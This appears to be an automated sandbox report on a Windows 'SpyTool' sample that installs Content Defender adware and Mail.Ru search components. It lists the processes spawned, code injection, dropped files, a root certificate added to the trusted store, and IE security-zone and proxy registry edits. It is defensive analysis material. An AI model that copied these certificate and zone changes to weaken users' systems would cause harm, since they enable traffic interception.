Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The SpyTool creates the following process(es):

verclsid.exe:2080
cd.exe:2292
cd.exe:2232
condefsetup (19).exe:600
mailruhomesearchvbm.exe:1568
regsvr32.exe:1232
MailRuUpdater.exe:1768
MailRuUpdater.exe:644
MailRuUpdater.exe:264

The SpyTool injects its code into the following process(es):

%original file name%.exe:1772

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process cd.exe:2292 makes changes in the file system.

The SpyTool creates and/or writes to the following file(s):

%Program Files%\Content Defender\cert\SSL\ContentDefender 2.cer (774 bytes)
%Program Files%\Content Defender\cert\SSL\cert.db (2 bytes)

The process condefsetup (19).exe:600 makes changes in the file system.

The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\mozcrt19.dll (7581 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nfregdrv.exe (1821 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\condefclean.exe (7716 bytes)
%Program Files%\Content Defender\nfregdrv.exe (601 bytes)
%Program Files%\Content Defender\nss\smime3.dll (601 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\certutil.exe (6324 bytes)
%Program Files%\Content Defender\ssleay32.dll (2105 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\smime3.dll (7716 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\wfp_windows7_i386.sys (47 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\softokn3.dll (4061 bytes)
%Program Files%\Content Defender\ContentDefenderPS.dll (13 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\certutil.exe (6324 bytes)
%Program Files%\Content Defender\libeay32.dll (9098 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\nspr4.dll (1821 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\ContentDefenderControl.exe (10588 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\import_root_cert.exe (941 bytes)
%Program Files%\Content Defender\nss\plds4.dll (17 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\wfp_windows8_amd64.sys (58 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\driver\wfp_windows7_i386.sys (3516 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\cd.exe (6341 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\plds4.dll (17 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\condefclean.exe (7716 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\import_root_cert.exe (6724 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\import_root_cert.exe (941 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\plds4.dll (17 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\ssleay32.dll (4061 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\ContentDefender.zip (37274 bytes)
%Program Files%\Content Defender\nss\softokn3.dll (2105 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\plds4.dll (580 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\softokn3.dll (25100 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\tdi__amd64.sys (61 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\softokn3.dll (25100 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\ContentDefenderPS.dll (6116 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\plc4.dll (20 bytes)
%System%\drivers\condef.sys (56 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\condefclean.exe (941 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\condefclean.exe (941 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss (4 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\driver\tdi__i386.sys (4012 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\smime3.dll (7716 bytes)
%Program Files%\Content Defender\nss\mozcrt19.dll (4545 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\ContentDefenderPS.dll (941 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\libeay32.dll (86270 bytes)
%Program Files%\Content Defender\nss\nspr4.dll (673 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\driver (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\libeay32.dll (11493 bytes)
%Program Files%\Content Defender\import_root_cert.exe (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\ContentDefenderControl.exe (1821 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\driver\wfp_windows7_amd64.sys (4012 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\nspr4.dll (11620 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\ContentDefenderPS.dll (484 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nfregdrv.exe (9476 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\nspr4.dll (11620 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\plc4.dll (20 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\driver\wfp_windows8_amd64.sys (4356 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nfregdrv.exe (9196 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\import_root_cert.exe (6724 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\mozcrt19.dll (7581 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\ContentDefenderControl.exe (1821 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\nss3.dll (24908 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\certutil.exe (941 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\cd.exe (41084 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\wfp_windows8_i386.sys (48 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\ssleay32.dll (26028 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\nss3.dll (4061 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\smime3.dll (941 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\plc4.dll (580 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\mozcrt19.dll (48748 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32 (4 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\cd.exe (34724 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\driver\tdi__amd64.sys (4356 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\softokn3.dll (4061 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\nss\certutil.exe (941 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\tdi__i386.sys (56 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64 (4 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\libeay32.dll (156321 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\libeay32.dll (20400 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\plds4.dll (580 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\ssleay32.dll (32684 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\mozcrt19.dll (48748 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\x64\ssleay32.dll (4861 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\smime3.dll (941 bytes)
%Program Files%\Content Defender\nss\certutil.exe (601 bytes)
%Program Files%\Content Defender\nss\plc4.dll (20 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\nss3.dll (24908 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\ContentDefenderPS.dll (13 bytes)
%Program Files%\Content Defender\ConDefSetup.exe (41656 bytes)
%Program Files%\Content Defender\condefclean.exe (601 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\ContentDefenderControl.exe (8836 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\cd.exe (5381 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Content Defender\Settings.lnk (804 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\driver\wfp_windows7_amd64.sys (56 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\nspr4.dll (1821 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nss\nss3.dll (4061 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\plc4.dll (580 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temporary Directory 1 for ContentDefender.zip\win32\nfregdrv.exe (1821 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\driver\wfp_windows8_i386.sys (3516 bytes)
%Program Files%\Content Defender\nss\nss3.dll (2105 bytes)
%Program Files%\Content Defender\ContentDefenderControl.exe (673 bytes)
%Program Files%\Content Defender\cd.exe (3073 bytes)

The SpyTool deletes the following file(s):

%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\plds4.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nfregdrv.exe (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\ContentDefenderPS.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\ssleay32.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\condefclean.exe (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\nss3.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nfregdrv.exe (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\ContentDefender.zip (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\certutil.exe (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\mozcrt19.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\smime3.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\plds4.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\softokn3.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\driver\wfp_windows8_amd64.sys (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\certutil.exe (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\ContentDefenderControl.exe (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\import_root_cert.exe (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\softokn3.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\ContentDefenderPS.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\nss3.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\nspr4.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\cd.exe (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\ssleay32.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\smime3.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\condefclean.exe (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\driver\tdi__i386.sys (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8DUZ0HAV\118[1] (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\driver\wfp_windows7_i386.sys (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\nspr4.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\plc4.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\libeay32.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\nss\mozcrt19.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\nss\plc4.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32 (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\driver (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\driver\tdi__amd64.sys (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\driver\wfp_windows8_i386.sys (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64 (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\ContentDefenderControl.exe (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\libeay32.dll (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\win32\cd.exe (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\x64\import_root_cert.exe (0 bytes)
%Documents and Settings%\All Users\Application Data\ContentDefender\driver\wfp_windows7_amd64.sys (0 bytes)

The process %original file name%.exe:1772 makes changes in the file system.

The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\891CCC43-641B-4FA9-A78F-330AA176ACF8\condefsetup (19).exe (39950 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\352F3B78-065A-4864-8594-20DF23631FCF\05a00036.exe (7972 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AED1F5A4-9A39-4103-88D4-3983C5D63522\mailruhomesearchvbm.exe (30622 bytes)

The process mailruhomesearchvbm.exe:1568 makes changes in the file system.

The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\7ba3-7c18-1e35-93ab\IESearchPlugin.dll (15801 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\S-1-5-21-1844237615-1960408961-1801674531-1003\c5b88721db08c824db69d0bbc702beb8_75ed9567-aa58-4c8e-a8ea-3cad7c47ab03 (44 bytes)
%System%\GroupPolicy\gpt.ini (280 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\GoMailRu.ico (14076 bytes)
%System%\GroupPolicy\Machine\Registry.pol (8 bytes)
%Documents and Settings%\%current user%\Application Data\MailProducts\Nrs.dat (32 bytes)
%Documents and Settings%\All Users\Favorites\Mail.Ru.url (152 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\Sputnik\IESearchPlugin.dll (17072 bytes)
%Documents and Settings%\%current user%\Desktop\Искать в Интернете.url (209 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\7ba3-7c18-1e35-93ab\mrsearch (84212 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\Mail.Ru.lnk (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\Sputnik\MailRu.ico (14076 bytes)
%System%\GroupPolicy\User\Registry.pol (8 bytes)
%Documents and Settings%\All Users\Favorites\Mail.Ru Агент - используй для общения!.url (210 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\Sputnik\Report\3DD21 (896 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\MailRuUpdater.exe (749560 bytes)
%Documents and Settings%\All Users\Application Data\Mail.Ru\Id (38 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Mail.Ru.lnk (1 bytes)

The SpyTool deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\8A48F97BF91A4296867346D1795AC34C.html (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\7ba3-7c18-1e35-93ab\IESearchPlugin.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\7ba3-7c18-1e35-93ab\mrsearch (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\6A8D1DBBAC044DBCA4998A4C601043B3.html (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\7ba3-7c18-1e35-93ab (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Mail.Ru.lnk (0 bytes)

The process regsvr32.exe:1232 makes changes in the file system.

The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\mrkeeper.exe (155163 bytes)

The process MailRuUpdater.exe:1768 makes changes in the file system.

The SpyTool creates and/or writes to the following file(s):

%Program Files%\Mail.Ru\MailRuUpdater\MailRuUpdater.exe (43956 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Mail.Ru\MailRuUpdater.exe (43956 bytes)

The process MailRuUpdater.exe:644 makes changes in the file system.

The SpyTool creates and/or writes to the following file(s):

%System%\GroupPolicy\gpt.ini (90 bytes)

The SpyTool deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\3F0FB2C5B8C04414BB664843862BD9B6.html (0 bytes)

The process MailRuUpdater.exe:264 makes changes in the file system.

The SpyTool creates and/or writes to the following file(s):

%System%\GroupPolicy\User\Registry.pol (8 bytes)
%System%\GroupPolicy\gpt.ini (159 bytes)
%System%\GroupPolicy\Machine\Registry.pol (8 bytes)

Registry activity

The process verclsid.exe:2080 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2A 8E 42 33 D4 6A E9 10 99 E4 FC B6 C2 9E 4E E3"

The process cd.exe:2292 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\LocalService\Local Settings\Application Data"

[HKLM\System\CurrentControlSet\Services\Tcpip\Parameters]
"DisableTaskOffload" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\07682B0A91CC426E9E6E9C6D0DD1494AAD9F7BBF]
"Blob" = "03 00 00 00 01 00 00 00 14 00 00 00 07 68 2B 0A"

[HKLM\SOFTWARE\ContentDefender]
"Installed" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 03 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\LocalService\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\ContentDefender]
"ff" = "yes"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "AB 76 99 97 B4 12 92 32 74 12 46 98 04 5C D1 03"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\LocalService\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKU\.DEFAULT\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
"ParseAutoexec" = "1"

The SpyTool modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The SpyTool modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The SpyTool modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The SpyTool deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"ProxyServer"

[HKLM\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates]
"07682B0A91CC426E9E6E9C6D0DD1494AAD9F7BBF"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process cd.exe:2232 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E8 A9 9E 59 96 5B 78 D3 D5 56 0A B4 BA F7 77 B4"

[HKCR\TypeLib\{CCA2A357-CCB4-41C9-B6F5-4F202B8CDC82}\1.0]
"(Default)" = "ContentDefenderLib"

[HKCR\Interface\{B28F9114-243E-4046-B173-11825352D18A}\TypeLib]
"Version" = "1.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKCR\CLSID\{9B7395C3-28B5-445E-AA7D-539B63514CAB}\Version]
"(Default)" = "1.0"

[HKCR\TypeLib\{CCA2A357-CCB4-41C9-B6F5-4F202B8CDC82}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\Interface\{B28F9114-243E-4046-B173-11825352D18A}\TypeLib]
"(Default)" = "{CCA2A357-CCB4-41C9-B6F5-4F202B8CDC82}"

[HKCR\TypeLib\{CCA2A357-CCB4-41C9-B6F5-4F202B8CDC82}\1.0\0\win32]
"(Default)" = "%Program Files%\Content Defender\cd.exe"

[HKCR\AppID\{3E0DB45B-9FCC-4064-B48C-080BD03A99A4}]
"LocalService" = "cd"

[HKCR\Interface\{B28F9114-243E-4046-B173-11825352D18A}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\TypeLib\{CCA2A357-CCB4-41C9-B6F5-4F202B8CDC82}\1.0\HELPDIR]
"(Default)" = "%Program Files%\Content Defender"

[HKCR\CLSID\{9B7395C3-28B5-445E-AA7D-539B63514CAB}\TypeLib]
"(Default)" = "{CCA2A357-CCB4-41C9-B6F5-4F202B8CDC82}"

[HKCR\CLSID\{9B7395C3-28B5-445E-AA7D-539B63514CAB}\LocalServer32]
"(Default)" = "%Program Files%\Content Defender\cd.exe"

[HKCR\Interface\{B28F9114-243E-4046-B173-11825352D18A}]
"(Default)" = "IDefenderControl"

[HKCR\CLSID\{9B7395C3-28B5-445E-AA7D-539B63514CAB}\LocalServer32]
"ServerExecutable" = "%Program Files%\Content Defender\cd.exe"

[HKCR\Interface\{B28F9114-243E-4046-B173-11825352D18A}\ProxyStubClsid]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\CLSID\{9B7395C3-28B5-445E-AA7D-539B63514CAB}]
"(Default)" = "DefenderControl Class"

The SpyTool deletes the following value(s) in system registry:

[HKCR\AppID\{3E0DB45B-9FCC-4064-B48C-080BD03A99A4}]
"LocalService"

The process condefsetup (19).exe:600 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ContentDefender]
"EstimatedSize" = "6000"
"Publisher" = "Artex Management S. A."

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ContentDefender]
"InstallDate" = "20141220"

"DisplayVersion" = "1.80"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\BagMRU]
"MRUListEx" = "00 00 00 00 01 00 00 00 03 00 00 00 02 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\ContentDefender]
"CampaignID" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\System\CurrentControlSet\Services\condef]
"Tag" = "8"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ContentDefender]
"DisplayIcon" = "%Program Files%\Content Defender\ConDefSetup.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

